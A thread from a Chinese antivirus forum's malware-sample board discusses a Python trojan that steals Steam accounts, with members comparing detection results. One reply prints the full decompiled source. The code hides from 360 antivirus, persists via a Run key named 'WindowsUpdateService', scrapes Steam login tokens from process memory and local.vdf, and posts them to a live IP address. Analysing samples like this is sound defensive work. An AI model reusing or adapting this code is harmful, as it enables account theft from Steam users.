楼主: GDHJDSYDH
收起左侧

[病毒样本] Python Steam盗号木马

  [复制链接]
aikafans
发表于 2025-5-25 17:46:58 | 显示全部楼层
123456aaaafsdeg 发表于 2025-5-25 17:44
这个简洁不少,令我惊喜的是还有一位老朋友,然后就用上这个了

这个确实,有点古早,但这个功能基本上已经被融合到小工具里面了
123456aaaafsdeg
发表于 2025-5-25 17:53:37 | 显示全部楼层
aikafans 发表于 2025-5-25 17:46
这个确实,有点古早,但这个功能基本上已经被融合到小工具里面了

是这样的
隔山打空气
发表于 2025-5-25 18:50:00 | 显示全部楼层

要是授权买了iOA-EDR那就不算套皮了(

当然不算ZTNA的情况下(

评分

参与人数 2人气 +3 收起 理由
123456aaaafsdeg + 2 酱酱终于来样本区玩儿了。
wwwab + 1 酱酱终于来样本区玩儿了。

查看全部评分

GDHJDSYDH
 楼主| 发表于 2025-5-25 22:53:42 | 显示全部楼层
LeeHS 发表于 2025-5-25 14:38
无法单独跑起来? cortex miss

装Steam了吗?
biue
发表于 2025-5-25 23:23:47 | 显示全部楼层
腾讯电脑管家 1X

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
popk
发表于 7 天前 | 显示全部楼层
deepseek 反编译:
  1. import datetime
  2. import os
  3. import zlib
  4. import win32crypt
  5. import vdf
  6. from io import StringIO
  7. import ctypes as utisk
  8. import re
  9. import subprocess as pd
  10. import requests as mibfn
  11. import jwt as rekskd
  12. import time as utui
  13. import sys
  14. import win32com.client as win32com
  15. import pythoncom
  16. import winreg

  17. def is_360_running():
  18.     process_names = ['360Safe.exe', '360Tray.exe', '360sd.exe', '360rp.exe', 'QHActiveDefense.exe']
  19.     try:
  20.         output = pd.check_output('tasklist', shell=True, text=True).lower()
  21.         for name in process_names:
  22.             if name.lower() in output:
  23.                 return True
  24.         return False
  25.     except Exception as e:
  26.         return False

  27. def add_to_registry_startup():
  28.     if is_360_running():
  29.         print('2')
  30.         return
  31.     try:
  32.         exe_path = sys.executable if getattr(sys, 'frozen', False) else os.path.abspath(sys.argv[0])
  33.         key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, r'Software\Microsoft\Windows\CurrentVersion\Run', 0, winreg.KEY_SET_VALUE)
  34.         winreg.SetValueEx(key, 'WindowsUpdateService', 0, winreg.REG_SZ, exe_path)
  35.         winreg.CloseKey(key)
  36.         print('1')
  37.     except Exception as e:
  38.         print('3')

  39. def extract_tokens(value):
  40.     return re.findall(r'eyAidHlwIjogIkpXVCIsICJhbGciOiAiRWREU0EiIH0\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+', value)

  41. def check_aud(tokens):
  42.     for token in tokens:
  43.         try:
  44.             decoded = rekskd.decode(token, options={'verify_signature': False})
  45.             aud = decoded.get('aud', [])
  46.             if all(item in aud for item in ('client', 'web', 'renew', 'derive')):
  47.                 return token
  48.         except rekskd.ExpiredSignatureError:
  49.             continue
  50.         except rekskd.DecodeError:
  51.             continue
  52.     return None

  53. def scan_memory(pid):
  54.     PROCESS_VM_READ = 0x10
  55.     process_handle = utisk.windll.kernel32.OpenProcess(PROCESS_VM_READ, False, pid)
  56.     if not process_handle:
  57.         print('4')
  58.         return None
  59.    
  60.     buffer = utisk.create_string_buffer(4096)
  61.     found_token = None
  62.    
  63.     for address in range(0, 0x7FFFFFFF, 4096):
  64.         try:
  65.             bytes_read = utisk.c_size_t()
  66.             if utisk.windll.kernel32.ReadProcessMemory(process_handle, address, buffer, utisk.sizeof(buffer), utisk.byref(bytes_read)):
  67.                 value = buffer.raw.decode('latin-1', errors='ignore')
  68.                 if 'eyAidHlwIjogIkpXVCIsICJhbGciOiAiRWREU0EiIH0' in value:
  69.                     tokens = extract_tokens(value)
  70.                     if tokens:
  71.                         token = check_aud(tokens)
  72.                         if token:
  73.                             found_token = token
  74.                             break
  75.         except Exception:
  76.             continue
  77.    
  78.     utisk.windll.kernel32.CloseHandle(process_handle)
  79.     return found_token

  80. def get_steam_process_id():
  81.     try:
  82.         output = pd.check_output('tasklist | findstr steam.exe', shell=True, text=True)
  83.         for line in output.splitlines():
  84.             if 'steam' in line:
  85.                 parts = line.split()
  86.                 if len(parts) >= 2:
  87.                     return int(parts[1])
  88.         return None
  89.     except Exception as e:
  90.         print('5')
  91.         return None

  92. def get_steam_install_path() -> str:
  93.     import winreg
  94.     key_path = r'Software\Classes\steam\Shell\Open\Command'
  95.     try:
  96.         key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, key_path, 0, winreg.KEY_READ)
  97.         value, _ = winreg.QueryValueEx(key, '')
  98.         winreg.CloseKey(key)
  99.         return os.path.dirname(value.strip('"'))
  100.     except Exception:
  101.         return ''

  102. def get_local_appdata_path() -> str:
  103.     return os.getenv('LOCALAPPDATA', '')

  104. def compute_crc32(data: str) -> str:
  105.     crc32_value = zlib.crc32(data.encode('utf-8'))
  106.     return format(crc32_value, '08x').lstrip('0')

  107. def decrypt_data(encrypted_data: bytes, account_name: str) -> bytes:
  108.     key = account_name.encode('utf-8')
  109.     decrypted = win32crypt.CryptUnprotectData(encrypted_data, key, None, None, 0)
  110.     return decrypted[1]

  111. def send_token(steam_id, token, account_name=None):
  112.     try:
  113.         url = 'http://101.43.0.123:4531/aer.php'
  114.         data = {'id': steam_id, 'th': token}
  115.         response = mibfn.post(url, data=data)
  116.         if account_name:
  117.             print(f"{steam_id} | 1")
  118.         else:
  119.             print(f"{steam_id} | 1")
  120.     except Exception as e:
  121.         if account_name:
  122.             print(f"{steam_id} | 6")
  123.         else:
  124.             print(f"{steam_id} | 6")

  125. def main():
  126.     pid = get_steam_process_id()
  127.     if pid and (token := scan_memory(pid)):
  128.         try:
  129.             decoded = rekskd.decode(token, options={'verify_signature': False})
  130.             steam_id = decoded.get('sub')
  131.             send_token(steam_id, token)
  132.         except Exception:
  133.             print('7')
  134.    
  135.     steam_path = get_steam_install_path()
  136.     local_path = get_local_appdata_path()
  137.    
  138.     loginusers_path = os.path.join(steam_path, 'config', 'loginusers.vdf')
  139.     local_vdf_path = os.path.join(local_path, 'Steam', 'local.vdf')
  140.    
  141.     try:
  142.         with open(loginusers_path, 'r', encoding='utf-8') as file_loginusers:
  143.             input_loginusers = file_loginusers.read()
  144.     except FileNotFoundError:
  145.         print('8')
  146.         return
  147.    
  148.     try:
  149.         with open(local_vdf_path, 'r', encoding='utf-8') as file_local:
  150.             input_local = file_local.read()
  151.     except FileNotFoundError:
  152.         print('9')
  153.         return
  154.    
  155.     loginuser = vdf.loads(input_loginusers)
  156.     local = vdf.loads(input_local)
  157.    
  158.     connectcache = local.get('MachineUserConfigStore', {}).get('Software', {}).get('Valve', {}).get('Steam', {}).get('ConnectCache', {})
  159.     if not connectcache:
  160.         print('10')
  161.         return
  162.    
  163.     users = loginuser.get('users', {})
  164.     if not users:
  165.         print('11')
  166.         return
  167.    
  168.     for user_id, subuser in users.items():
  169.         account_name = subuser.get('AccountName', '')
  170.         if not account_name:
  171.             continue
  172.         
  173.         crc32 = compute_crc32(account_name) + '1'
  174.         encrypted_hex = connectcache.get(crc32, '')
  175.         if not encrypted_hex:
  176.             print(f"{user_id} | 12")
  177.             continue
  178.         
  179.         encrypted_data = bytes.fromhex(encrypted_hex)
  180.         try:
  181.             decrypted_data = decrypt_data(encrypted_data, account_name)
  182.             token = decrypted_data.decode('utf-8')
  183.             decoded = rekskd.decode(token, options={'verify_signature': False})
  184.             steam_id = decoded.get('sub')
  185.             send_token(steam_id, token, account_name)
  186.         except Exception:
  187.             print(f"{user_id} | 13")
  188.         except Exception:
  189.             print(f"{user_id} | 14")

  190. if __name__ == '__main__':
  191.     add_to_registry_startup()
  192.     while True:
  193.         main()
  194.         utui.sleep(5)
复制代码


LeeHS
发表于 7 天前 | 显示全部楼层

GDHJDSYDH
 楼主| 发表于 7 天前 | 显示全部楼层

装上Steam再双击试试
LeeHS
发表于 7 天前 | 显示全部楼层
本帖最后由 LeeHS 于 2025-5-26 10:18 编辑
GDHJDSYDH 发表于 2025-5-26 10:00
装上Steam再双击试试

后台运行 miss,開機程序自啟

评分

参与人数 1人气 +1 收起 理由
GDHJDSYDH + 1 加分鼓励

查看全部评分

GDHJDSYDH
 楼主| 发表于 7 天前 | 显示全部楼层
ANY.LNK 发表于 2025-5-25 16:08
微软双击报错,看着需要特殊路径

安装Steam试试
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-6-2 18:53 , Processed in 0.094197 second(s), 15 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表